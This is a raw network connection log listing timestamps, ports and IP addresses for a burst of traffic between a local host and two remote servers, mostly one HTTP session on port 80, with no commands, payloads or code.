Dec 7, 2024 00:15:49.377074957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.377105951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.377140999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.377994061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.378034115 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.378096104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.378252983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.379004002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.379069090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.379103899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.379146099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.380007982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.380067110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.380095959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.380135059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.380995989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.381052017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.381087065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.381120920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.382025957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.382070065 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.382103920 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.382142067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.382970095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.383064985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.383094072 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.383112907 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.383971930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.384020090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.384063959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.384111881 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.384965897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.385010004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.385046959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.385206938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.385967016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.386092901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.386120081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.386152983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.386945963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.387073040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.387114048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.387923956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.387963057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.388047934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.388089895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.388922930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.388962030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.389120102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.389162064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.389911890 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.390018940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.390060902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.390904903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.390944004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.391015053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.391055107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.391925097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.391966105 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.392021894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.392940044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.392981052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.393032074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.393073082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.393924952 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.394016027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.394062042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.394907951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.394944906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.395112038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.395153999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.395880938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.395967960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.395992041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.396037102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.396930933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.397042990 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.397078037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.397078037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.397870064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.397978067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.398022890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.398866892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.398911953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.398983002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.399024963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.399852991 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.399897099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.399956942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.399996996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.400883913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.400932074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.401067972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.401632071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.401859999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.401942015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.401973009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.402014017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.402838945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.402889967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.402946949 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.402988911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.403867960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.403911114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.403955936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.404000044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.404835939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.404911995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.404946089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.404983997 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.405843019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.405941010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.405986071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.406832933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.406946898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.406954050 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.406982899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.408824921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.408838987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.408864021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.408884048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.408921003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.408937931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.408971071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.409816027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.409909964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.409960032 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.410769939 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.410831928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.410837889 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.410928011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.410990953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.411799908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.411849976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.411901951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.411943913 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.412805080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.412863016 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.413028955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.413096905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.413779974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.413914919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.413960934 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.414788961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.414834023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.414896965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.414938927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.415766954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.415813923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.415870905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.415916920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.416733027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.416775942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.489377975 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.489391088 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.495477915 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.495490074 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.553832054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.553915024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.553921938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.553960085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.554234028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.554286957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.554332018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.554446936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.555233002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.555284023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.555329084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.555372000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.556247950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.556303024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.556349993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.556391001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.557241917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.557292938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.557320118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.557440042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.558234930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.558293104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.558343887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.558408976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.559207916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.559329987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.559387922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.560194969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.560252905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.560302019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.560344934 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.561206102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.561283112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.561292887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.561332941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.562216043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.562269926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.562305927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.562345982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.563200951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.563249111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.563286066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.563335896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.564197063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.564265013 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.564301014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.564352036 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.565188885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.565258026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.565294981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.565448999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.566174984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.566231966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.566296101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.566340923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.567145109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.567267895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.567327976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.568162918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.568233013 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.568258047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.568295956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.569168091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.569231987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.569272995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.569322109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.570179939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.570230007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.570307016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.570348978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.571136951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.571336985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.572278023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.572293043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.572305918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.572334051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.572371960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.573143005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.573215008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.573251963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.573297024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.574125051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.574232101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.574244976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.574270964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.575105906 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.575155020 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.575216055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.575259924 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.576117992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.576203108 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.576246977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.576291084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.577142000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.577234030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.577285051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.578108072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.578156948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.578217030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.578382969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.579094887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.579163074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.579212904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.579256058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.580132961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.580205917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.580235004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.580277920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.581070900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.581140041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.581235886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.581288099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.582114935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.582218885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.582263947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.583061934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.583116055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.583156109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.583199978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.584072113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.584177017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.584213018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.584228039 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.585063934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.585117102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.585175037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.585215092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.586114883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.586164951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.586316109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.586407900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.587049961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.587100983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.587138891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.587241888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.588054895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.588130951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.588145971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.588180065 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.589091063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.589164972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.589225054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.589267969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.590029955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.590092897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.590152025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.590284109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.591034889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.591089964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.591150045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.591201067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.592031956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.592104912 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.592123032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.592170954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.593038082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.593111038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.593206882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.593276978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.594017029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.594065905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.594122887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.594254971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.595011950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.595072031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.595107079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.595149994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.596072912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.596121073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.596184969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.596400976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.596990108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.597043037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.597110033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.597222090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.597986937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.598042965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.598097086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.598192930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.598992109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.599040031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.599219084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.599370003 CET	49823	80	192.168.2.6	185.215.113.206
